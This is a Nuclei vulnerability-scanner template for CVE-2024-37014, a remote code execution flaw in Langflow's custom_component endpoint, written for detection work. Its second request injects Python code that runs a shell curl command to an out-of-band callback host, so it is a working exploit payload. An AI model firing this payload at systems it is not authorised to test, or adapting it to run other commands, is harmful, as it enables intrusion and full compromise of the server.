id: CVE-2024-37014 info: name: Langflow <= 1.0.12 - Remote Code Execution author: 0x_Akoko,pdteam severity: critical description: | Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input. impact: | Attackers can execute arbitrary code remotely, potentially leading to full system compromise. remediation: | Update to the latest version of Langflow that addresses this issue or apply security patches. reference: - https://github.com/langflow-ai/langflow/security/advisories/GHSA-9rjh-g5jh-r4mr - https://nvd.nist.gov/vuln/detail/CVE-2024-37014 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-37014 epss-score: 0.63037 epss-percentile: 0.99145 cwe-id: CWE-94 cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:* metadata: max-request: 2 verified: true vendor: langflow product: langflow shodan-query: http.title:"Langflow" fofa-query: title="Langflow" tags: cve,cve2024,langflow,rce,oast,vkev flow: http(1) && http(2) http: - raw: - | GET /api/v1/version HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_any(body, "Langflow", "langflow")' condition: and internal: true - raw: - | POST /api/v1/custom_component HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"code":"import os\nfrom langflow.custom import Component\nfrom langflow.io import Output\n\nclass RCEProbe(Component):\n display_name = \"Probe\"\n outputs = [Output(display_name=\"Out\", name=\"out\", method=\"run\")]\n def run(self):\n os.system('curl -m 5 -s http://{{interactsh-url}}')\n return ''\n"} matchers: - type: word part: interactsh_protocol words: - "http" - "dns" condition: or # digest: 4a0a00473045022100a2485b75e267f6852a34072b558132fdcd740f591f9483a6a95c5a010de70f9a0220412846d1e697764a6705e0d8e4bb0317a54491026fee34e88c083b78ffc0dd23:922c64590222798bb761d5b6d8e72950